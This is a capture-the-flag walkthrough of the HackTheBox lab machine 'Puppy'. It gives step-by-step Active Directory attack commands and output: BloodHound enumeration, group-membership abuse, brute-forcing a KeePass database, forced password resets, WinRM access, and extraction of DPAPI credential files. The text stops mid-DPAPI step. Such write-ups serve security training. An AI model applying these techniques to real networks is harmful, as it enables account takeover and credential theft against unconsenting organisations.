Puppy – HackTheBox Link to heading

  • OS: Windows
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar puppy


Synopsis Link to heading

“Puppy” is a Medium difficulty machine from HackTheBox platform focused on Active Directory (AD). This machine focuses on an AD environment -that assumes a breached situation, where we start with provided credentials- that teaches lateral movement in AD, enable locked accounts, extract credentials from KeePass files and Data Protection API (DPAPI) files.


Info
The following initial credentials are provided: levi.james:KingofAkron2025!

User Link to heading

We start with a quick Nmap scan looking for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.246.234

We find 5 ports open, where principal ones are: 53 Domain Name System (DNS), 135 Microsoft RPC, and 445 Server Message Block (SMB). Apply some recognition scan over these ports using -sVC flag with Nmap:

❯ sudo nmap -sVC -p53,111,135,139,445 10.129.246.234

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 18:29 -04
Nmap scan report for 10.129.246.234
Host is up (0.39s latency).

PORT    STATE SERVICE       VERSION
53/tcp  open  domain        Simple DNS Plus
111/tcp open  rpcbind       2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s
| smb2-time:
|   date: 2025-05-19T05:30:29
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 459.46 seconds

Apparently, it is an Active Directory environment.

We can also use NetExec, along with the provided credentials, to get information for this machine and domain:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

We have a machine name DC and a domain PUPPY.HTB.

Therefore, add this machine name, domain and FQDN (DC.PUPPY.HTB) to our /etc/hosts file in our attacker machine:

❯ echo '10.129.246.234 DC DC.PUPPY.HTB PUPPY.HTB' | sudo tee -a /etc/hosts

If we check for shared resources in SMB service with NetExec we find a folder called DEV. However, we don’t have permissions to read it:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Enumerated shares
SMB         10.129.246.234  445    DC               Share           Permissions     Remark
SMB         10.129.246.234  445    DC               -----           -----------     ------
SMB         10.129.246.234  445    DC               ADMIN$                          Remote Admin
SMB         10.129.246.234  445    DC               C$                              Default share
SMB         10.129.246.234  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.246.234  445    DC               IPC$            READ            Remote IPC
SMB         10.129.246.234  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.246.234  445    DC               SYSVOL          READ            Logon server share

To get information about the domain we can use bloodhound-python (which can be installed with pip install bloodhound or pipx install bloodhound, I recommend the second one) along with credentials provided for levi.james user:

❯ bloodhound-python -c ALL -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -ns 10.129.246.234 --zip

INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 01M 04S
INFO: Compressing output into 20250518184119_bloodhound.zip

We get KRB_AP_ERR_SKEW(Clock skew too great) error, but we still get a .zip file that we could use in Bloodhound.

Start Bloodhound (in my case I use the Community Edition, or CE) and upload the generated .zip file. Once we have uploaded and completed the upload, we search for levi.james user. We can see that this user can do some stuff over other users clicking on Outbound Object Control option. We can see now:

Puppy 1

levi.james is a member of HR group. Members of this group have GenericWrite permissions over DEVELOPERS group. This means that levi.james user can add any user to this group. Therefore, let’s add ourselves (levi.james) to DEVELOPERS group using bloodyAD:

❯ bloodyAD -d PUPPY.HTB --host DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'

[+] levi.james added to DEVELOPERS

If we check shared resources again, we can now read DEV shared folder:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Enumerated shares
SMB         10.129.246.234  445    DC               Share           Permissions     Remark
SMB         10.129.246.234  445    DC               -----           -----------     ------
SMB         10.129.246.234  445    DC               ADMIN$                          Remote Admin
SMB         10.129.246.234  445    DC               C$                              Default share
SMB         10.129.246.234  445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.129.246.234  445    DC               IPC$            READ            Remote IPC
SMB         10.129.246.234  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.246.234  445    DC               SYSVOL          READ            Logon server share
Note
There is a task restoring members of DEVELOPERS group to its original value every certain amount of time.

Check contents of DEV shared folder using NetExec and levi.james credentials since now he is member of DEVELOPERS group and can read this shared resource:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV' --pattern .

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Started spidering
SMB         10.129.246.234  445    DC               [*] Spidering .
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/.. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/KeePassXC-2.7.9-Win64.msi [lastm:'2025-03-23 04:09' size:34394112]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/recovery.kdbx [lastm:'2025-03-11 23:25' size:2677]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/Projects/. [dir]
SMB         10.129.246.234  445    DC               //10.129.246.234/DEV/Projects/.. [dir]
SMB         10.129.246.234  445    DC               [*] Done spidering (Completed in 3.352356433868408)

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV/Projects' --pattern .

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Started spidering
SMB         10.129.246.234  445    DC               [*] Spidering .
SMB         10.129.246.234  445    DC               [*] Done spidering (Completed in 0.2704143524169922)

We have an .msi file, that is usually used to install software, for KeePass for its version 2.7.9 and a .kdbx file (called recovery.kdbx) file that is the format that KeePass uses for its files.

Therefore, download the interesting KeePass file using NetExec as well:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --share 'DEV' --get-file 'recovery.kdbx' 'recovery.kdbx'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.246.234  445    DC               [*] Copying "recovery.kdbx" to "recovery.kdbx"
SMB         10.129.246.234  445    DC               [+] File "recovery.kdbx" was downloaded to "recovery.kdbx"

As expected, this is a KeePass file:

❯ file recovery.kdbx

recovery.kdbx: Keepass password database 2.x KDBX

We cannot extract its password directly from this file to a hash using keepass2john since the file version does not allow it:

❯ keepass2john recovery.kdbx

! recovery.kdbx : File version '40000' is currently not supported!

Therefore, we can attempt a Brute Force Password Login using a tool called keepass4brute (that also needs keepassxc-cli, which can be installed with sudo apt install keepassxc -y) that will attempt to open the .kdbx file using bruteforce. This tool is a simple Bash script that tries to open the .kdbx file using keepassxc-cli given a dictionary of passwords. Clone this tool:

❯  git clone https://github.com/r3nt0n/keepass4brute.git -q

❯ cd keepass4brute

and use it:

❯ ./keepass4brute.sh ../../content/recovery.kdbx /usr/share/wordlists/rockyou.txt

keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 36/14344392 - Attempts per minute: 52 - Estimated time remaining: 27 weeks, 2 days
[+] Current attempt: liverpool

[*] Password found: liverpool

We get a password for it: liverpool.

We can now use keepassxc-cli to check its content:

❯ keepassxc-cli ls recovery.kdbx

Enter password to unlock recovery.kdbx: liverpool

JAMIE WILLIAMSON
ADAM SILVER
ANTONY C. EDWARDS
STEVE TUCKER
SAMUEL BLAKE

We have 5 different entries for what seems to be users.

We can make a simple Bash oneliner that passes the master password (liverpool) to keepassxc-cli and check their content:

❯ for user in "JAMIE WILLIAMSON" "ADAM SILVER" "ANTONY C. EDWARDS" "STEVE TUCKER" "SAMUEL BLAKE"; do echo -e "\n[+] Checking content for entry '$user'"; echo 'liverpool' | keepassxc-cli show recovery.kdbx $user -s; done

[+] Checking content for entry 'JAMIE WILLIAMSON'
Enter password to unlock recovery.kdbx:
Title: JAMIE WILLIAMSON
UserName:
Password: JamieLove2025!
URL: puppy.htb
Notes:
Uuid: {5f112cf4-85ed-4d4d-bf0e-5e35da983367}
Tags:

[+] Checking content for entry 'ADAM SILVER'
Enter password to unlock recovery.kdbx:
Title: ADAM SILVER
UserName:
Password: HJKL2025!
URL: puppy.htb
Notes:
Uuid: {387b31a3-4a42-4352-ad9a-a42a70fa19f5}
Tags:

[+] Checking content for entry 'ANTONY C. EDWARDS'
Enter password to unlock recovery.kdbx:
Title: ANTONY C. EDWARDS
UserName:
Password: Antman2025!
URL: puppy.htb
Notes:
Uuid: {bfd9590f-b0c6-41f8-b2f5-7e6c5defa5e2}
Tags:

[+] Checking content for entry 'STEVE TUCKER'
Enter password to unlock recovery.kdbx:
Title: STEVE TUCKER
UserName:
Password: Steve2025!
URL: puppy.htb
Notes:
Uuid: {d51a238d-4fe4-4ede-bb83-e6bb6e48a0a1}
Tags:

[+] Checking content for entry 'SAMUEL BLAKE'
Enter password to unlock recovery.kdbx:
Title: SAMUEL BLAKE
UserName:
Password: ILY2025!
URL: puppy.htb
Notes:
Uuid: {d17c1358-f48b-4865-8ab6-15484dccb69b}
Tags:

Check users in the system using NetExec:

❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print

Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

We match the password of JAMIE WILLIAMSON entry with jamie.williamson user, password of ADAM SILVER, and password of ANTONY C. EDWARDS entry with ant.edwards user. For that we can use --no-bruteforce to test the first password for the first user, the second password for the second user and so on:

❯ nxc smb 10.129.246.234 -u 'jamie.williamson' 'adam.silver' 'ant.edwards' -p 'JamieLove2025!' 'HJKL2025!' 'Antman2025!' --no-bruteforce

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

We get valid credentials: ant.edwards:Antman2025!.

Back to Bloodhound we can see what can this user do. We can see:

Puppy 3

ant.edwards is a member of SENIOR DEVS. Members of this group have GenericAll rights over adam.silver user.

I tried to perform a Shadow Credentials attack, but did not work since LDAP service (that usually runs on port 389) is not available. Using targetedKerberoast.py did not work as well:

❯ faketime "$(ntpdate -q PUPPY.HTB | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' --request-user 'adam.silver' --dc-ip 10.129.246.234

[*] Starting kerberoast attacks
[*] Attacking user (adam.silver)
[DEBUG] {}

Therefore, the only option left is to change this user password (which should always be the last option). For this purpose we can use bloodyAD:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set password 'adam.silver' 'gunzf0x123$!'

[+] Password changed successfully!

and check the changes with NetExec:

❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [-] PUPPY.HTB\adam.silver:gunzf0x123$! STATUS_ACCOUNT_DISABLED

We get STATUS_ACCOUNT_DISABLED, which means the password is correct. But the account is just not enabled.

We can also check this using bloodyAD:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

We can see the ACCOUNTDISABLE attribute.

Based on Microsoft userAccountControl documentation, if we set the property userAccountControl to 512, which stands for NORMAL_ACCOUNT, we should “enable” the account. Since ant.edwards can modify adam.silver properties, use this account to enable adam.silver account modifying its userAccountControl property to 512. This should be easy to do with bloodyAD:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'

Traceback (most recent call last):
  File "/home/gunzf0x/.local/bin/bloodyAD", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/main.py", line 144, in main
    output = args.func(conn, **params)
             ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/cli_modules/set.py", line 26, in object
    conn.ldap.bloodymodify(
  File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 217, in bloodymodify
    raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB! Result code: "invalidAttributeSyntax" Reason: "b'00000057: LdapErr: DSID-0C091330, comment: Error in attribute conversion operation, data 0, v4f7c\x00'"

Bot got an error: invalidAttributeSyntax.

In my case bloodyAD was an old one:

❯ pip3 list | grep bloodyAD

bloodyAD                     2.0.8

I solved it uninstall bloodyAD and then installing a more updated version of it using pipx:

❯ pip3 uninstall bloodyAD

❯ pipx install bloodyAD

<SNIP>

❯ pipx list | grep 'bloodyAD' -B 1
   package bloodyad 2.1.13, installed using Python 3.12.9
    - bloodyAD

and run the command again:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'

[+] adam.silver's userAccountControl has been updated

Now, checking this attribute again we can see it has been changed to only NORMAL_ACCOUNT:

❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl

distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT
Note
Remember that there are task restoring the accounts to their original values. Which could mean that we might need to change its password and enable this account again.

We have access to this account now:

❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\adam.silver:gunzf0x123$!

In Bloodhound we can check that this user is part of Remote Management Users, which means that this user should be able to access to the victim machine through WinRM service. Even if in our initial scan WinRM was not available, we can still check if this works:

❯ nxc winrm 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'

WINRM       10.129.246.234  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.246.234  5985   DC               [+] PUPPY.HTB\adam.silver:gunzf0x123$! (Pwn3d!)

Access to the victim machine through WinRM service using evil-winrm:

❯ evil-winrm -i PUPPY.HTB -u 'adam.silver' -p 'gunzf0x123$!'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>

We can grab the user flag at adam.silver Desktop.


NT Authority/System - Administrator Link to heading

At C:\ there’s a Backup folder:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows

This folder contains a .zip file:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\Backups


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip

Download it using download function from evil-winrm:

*Evil-WinRM* PS C:\Users\adam.silver\Documents> download C:\\Backups\\site-backup-2024-12-30.zip

Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip

Info: Download successful!

Extract the content of the downloaded file in our attacker machine:

❯ unzip site-backup-2024-12-30.zip -d site-backup

Archive:  site-backup-2024-12-30.zip
   creating: site-backup/puppy/
  inflating: site-backup/puppy/nms-auth-config.xml.bak
   creating: site-backup/puppy/images/
  inflating: site-backup/puppy/images/banner.jpg
  inflating: site-backup/puppy/images/jamie.jpg
<SNIP>

There is a file puppy/nms-auth-config.xml.bak.

Read its content:

❯ cat site-backup/puppy/nms-auth-config.xml.bak

<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

We find interesting lines:

<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>

We have a password for steph.cooper user, a user we know that exists in the system (that can be checked when we extracted domain users with NetExec or simply checking Bloodhound).

Check if these credentials work for this user with SMB service:

❯ nxc smb 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'

SMB         10.129.246.234  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.246.234  445    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025!

They work.

From Bloodhound, and also checking with NetExec, we can see that this user can connect using WinRM service into the victim machine since it’s part of Remote Management Users group:

❯ nxc winrm 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'

WINRM       10.129.246.234  5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM       10.129.246.234  5985   DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)

Connect as steph.cooper user with evil-winrm:

❯ evil-winrm -i PUPPY.HTB -u 'steph.cooper' -p 'ChefSteph2025!'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>

To search for sensitive files in the system we can use WinPEAS (which can be downloaded from its Github repository). Upload it from our attacker machine to the attacker machine using upload function from evil-winrm. Download the script:

❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250518-5781f7e5/winPEASx64.exe -q

and upload it with evil-winrm (this will take some time, have patience):

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> upload winPEASx64.exe winPEAS.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Puppy/exploits/winPEASx64.exe to C:\Users\steph.cooper\Documents\winPEAS.exe

Data: 13525672 bytes of 13525672 bytes copied

Once downloaded into the victim machine, execute the downloaded binary to collect information:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\winPEAS.exe

<SNIP>
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Master Keys
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
    MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:40:36 AM
    Modified: 3/8/2025 7:40:36 AM
   =================================================================================================


ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Credential Files
È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
    CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
    Description: Local Credential Data

    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 8:14:09 AM
    Modified: 3/8/2025 8:14:09 AM
    Size: 11068
   =================================================================================================

    CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
    Description: Enterprise Credential Data

    MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed: 3/8/2025 7:54:29 AM
    Modified: 3/8/2025 7:54:29 AM
    Size: 414
   =================================================================================================
<SNIP>

We find credentials for Data Protection API (DPAPI).

We can manually check this:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:54 AM            414 C8D69EBE9A43E9DEBF6B5FBD48B521B9

Using download command from evil-winrm on this file does not work:

*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9

Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

That’s because this file is flagged as Hidden.

We can then pass its content to base64:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))

AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc

and decode it into our attacker machine:

❯ echo -n 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d > C8D69EBE9A43E9DEBF6B5FBD48B521B9

As an extra step, check that the file has been transferred correctly from the victim machine to our attacker machine checking its MD5 hash. In the target Windows machine we can use certutil for this purpose:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> certutil -hashfile C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 MD5

MD5 hash of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9:
dd0259ec230bb91ef986e7b97835b0e4
CertUtil: -hashfile command completed successfully.

and in our attacker machine (Linux):

❯ md5sum C8D69EBE9A43E9DEBF6B5FBD48B521B9

dd0259ec230bb91ef986e7b97835b0e4  C8D69EBE9A43E9DEBF6B5FBD48B521B9

Both MD5 hashes are the same. Therefore, both are the same file.

Now, we need to obtain some master keys. For that we need our user SID, that can be obtained running whoami /user:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> whoami /user

USER INFORMATION
----------------

User Name          SID
================== ==============================================
puppy\steph.cooper S-1-5-21-1487982659-1829050783-2281216199-1107

We can also obtain our user SID from Bloodhound.

Once we have obtained our user SID, check the master keys for it:

*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107


    Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          3/8/2025   7:40 AM            740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs-         2/23/2025   2:36 PM             24 Preferred

We have one master key. Download it as we did for the previous file passing it to base64:

